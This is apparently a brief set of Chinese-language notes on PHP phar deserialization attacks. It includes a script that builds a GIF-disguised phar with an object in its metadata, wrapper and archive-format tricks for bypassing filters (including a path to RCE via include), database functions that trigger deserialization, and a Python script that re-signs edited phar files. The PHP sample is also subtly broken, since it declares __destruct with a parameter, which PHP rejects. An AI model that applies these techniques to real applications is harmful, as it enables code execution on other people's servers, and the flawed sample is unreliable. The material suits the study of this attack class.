创建phar
<?php
class Test{
public function __destruct(array $data){
echo "unserialized";
}
}
# set phar.readonly = Off in php.ini
@unlink("a.phar");
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a__HALT_COMPILER();"); # 以__HALT_COMPILER();结尾
$o = new Test();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
文件处理函数+phar伪协议触发

绕过phar协议开头限制
compress.zlib://phar://phar.gif/test.txt同样可以触发,同理compress.bzip2://也适用
注意,这里不需要实际压缩
绕过内容限制
压缩成gz后phar协议也能识别phar://a.phar.gz/test.txt
phar会先解压gz,这也导致了include可以直接包含这个gz文件造成rce
tar格式,压缩.phar/.metadata,序列化数据放在.metadata里
phar://a.tar/触发
其他触发点
$pdo = new PDO("pgsql://...");
$pdo->pgsqlCopyFromFile("table1", "phar://a.phar/test.txt");
mysqli_query($m, "LOAD DATA LOCAL INFILE 'phar://a.phar/test.txt' INTO TABLE users;");
实际上也是读文件触发
phar文件验证与修复
php在打开phar文件时,会检验文件内容哈希与文件中存储的哈希是否一致,默认使用sha1
有的时候需要改phar中的内容,比如绕过wakeup,一种方法是使用tar格式,不需要验证。如果要用正常的phar文件,则需要修复phar的哈希值。
import hashlib
with open('phar.phar', 'rb') as f:
content = f.read()
text = content[:-28]
end = content[-8:]
sig = hashlib.sha1(text).digest()
with open('phar_new.phar', 'wb+') as f:
f.write(text + sig + end)